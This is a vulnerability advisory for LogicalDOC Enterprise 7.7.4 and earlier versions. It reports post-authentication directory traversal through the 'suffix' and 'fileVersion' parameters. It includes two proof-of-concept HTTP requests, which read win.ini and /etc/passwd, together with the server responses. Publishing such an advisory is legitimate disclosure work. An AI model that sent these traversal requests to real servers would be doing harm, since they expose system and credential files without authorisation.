LogicalDOCEnterprise7.7.4MultipleDirectoryTraversalVulnerabilitiesVendor:LogicalDOCSrlProduct web page: https://www.logicaldoc.com
Affected version:7.7.47.7.37.7.27.7.17.6.47.6.27.5.17.4.27.1.1Summary:LogicalDOC is a free document management system that is designed
tohandle and share documents within an organization. LogicalDOC is a content
repository,withLucene indexing,Activiti workflow, and a set of automatic
importprocedures.Desc:The application suffers from multiple post-auth file disclosure vulnerability
when input passed thru the 'suffix' and 'fileVersion' parameters is not properly
verified before being used toincludefiles. This can be exploited toread arbitrary
files from local resources withdirectory traversal attacks.
Tested on:MicrosoftWindows10LinuxUbuntu16.04Java1.8.0_161Apache-Coyote/1.1ApacheTomcat/8.5.24ApacheTomcat/8.5.13Undisclosed8.41Vulnerability discovered by Gjoko 'LiquidWorm' Krstic@zeroscienceAdvisoryID:ZSL-2018-5450AdvisoryURL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5450.php
26.01.2018---PoC #1:GET/thumbnail?docId=3375114&random=1517220341243&suffix=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini HTTP/1.1Host: localhost:8080Response:;for16-bit app support
[fonts][extensions][mci extensions][files][Mail]MAPI=1[MCIExtensions.BAK]3g2=MPEGVideo3gp=MPEGVideo3gp2=MPEGVideo3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideoPoC #2:GET/convertpdf?docId=2450&control=preview&fileVersion=../../../../../../etc/passwd HTTP/1.1Host: localhozt:8080Response:HTTP/1.1200Cache-Control: must-revalidate, post-check=0,pre-check=0Expires:0Content-Disposition: attachment; filename="=?UTF-8?B?MDkyMDEyMzEwNTVTUFQgMDA0LnBkZi5wZGY=?="Pragma:publicContent-Type: application/pdf;charset=UTF-8Content-Length:964Date:Mon,05Feb201821:30:59GMTConnection: close
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
games:x:5:100:games:/usr/games:/bin/sh
......